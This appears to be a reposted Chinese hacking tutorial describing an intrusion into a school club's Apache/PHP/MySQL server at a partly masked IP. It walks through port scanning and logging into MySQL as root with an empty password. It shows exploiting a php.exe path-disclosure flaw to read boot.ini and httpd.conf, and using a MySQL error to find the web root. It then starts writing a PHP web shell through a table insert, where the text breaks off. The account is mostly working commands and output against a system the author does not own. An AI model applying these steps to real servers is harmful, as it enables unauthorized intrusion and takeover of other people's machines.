当前位置: 首页 > 图文教程 > 数据库 > MSSQL > 看紧你的3306端口,一次通过mysql的入侵

MSSQL
将表数据生成SQL脚本的存储过程和工具
初学者必读:经典的数据库记录分页代码
使用SQL Server 2008管理非结构化数据
利用索引提高SQL Server数据处理的效率
SQL Server数据库内存会不断增加的问题分析
面向对象设计过程中必须遵守的相关准则
SQL Server 2005如何设置多字段做关键字
SQL Server 2005数据库中表的递归查询
SQL Server中使用DTS设计器进行数据转移
在查询分析器理启动或停止SQL Agent服务
教你快速掌握SQL语言中游标的使用技巧
将SQL Server中所有表的列信息显示出来
使用SQL语句快速获取SQL Server数据字典
Sql Server 2005中的架构用户登录和角色
如何保存数据库连接参数代码及步骤详解
如何使用SQL Server数据库嵌套子查询
SQL Server从安装到建库为新手寻找捷径
课程讲解 如何使用SQL Server校勘功能
数据库理论:学习基于SQL数据库的算法
教你使用SQL Server数据库进行网络链接

MSSQL 中的 看紧你的3306端口,一次通过mysql的入侵


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 153 ::
收藏到网摘: n/a

 

用superscan扫了一下
某个c类的网段,寻找开放80端口的机器,结果就只有一台机器
开放了80端口,试着连了一下,是我们学校某个社团的的主页。
从端口的banner来看应该是apache(win32),证实一下
telnet 211.87.xxx.xxx
get(回车)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /index
.html not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>Apache/1.3.2
2 Server at www.xxxxxx.com Port 80</ADDRESS>
</BODY></HTML> 
 

 

遗失对主机的连接。
C:\>
呵呵,这下看得更清楚了

 

据我猜测,应该是"apache+mysql+php"的黄金组合吧
习惯性的mysql -h 211.87.xxx.xxx
果然连上了
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 17 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>


断开试着
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>
呵呵,大家看到了他的root用户没有密码,这是我今天要说的第一个主题。
这是相当的危险的,碰见这种情况,有99.999%的可能可以进入
既然使用的apache+php,只要找到他在本地存放的web的物理路径就为所欲为了
呵呵
下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径?
方法有很多种,在这里我介绍2种方法供初学者参考
首先要告诉大家的是低版本的apache+php有一个漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名
就可以把那个物理文件下载下来。


于是提http://211.87.xxx.xxx/php/php.exe?c:\a.txt
返回
No input file specified. (没有这个漏洞的话提示找不到网页)
好的,这说明他有这个漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:\boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating


systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"


/fastdetect
呵呵,装的还是xp。
好了,我们可以猜测对方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?c:\Program Files\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?f:\apache\conf\httpd.conf
猜到了,返回了好多东西
找到我们想要的
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:\homepage"
看得出来对方的主目录是D:\homepage
下面的事就好办了,现在就想得到shell?
先别急,我们先来看看另一种方法
那就是利用mysql的错误
随便的浏览一下他的网页找到一处利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


长得太帅了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: Supplied argument is not a valid MySQL result resource in


d:\homepage\skonline\study\list.php on line 231
呵呵,一览无余。
然后,然后就是制造我们的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql> use test;
Database changed
mysql> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system($c);?>);
Query OK, 1 row aff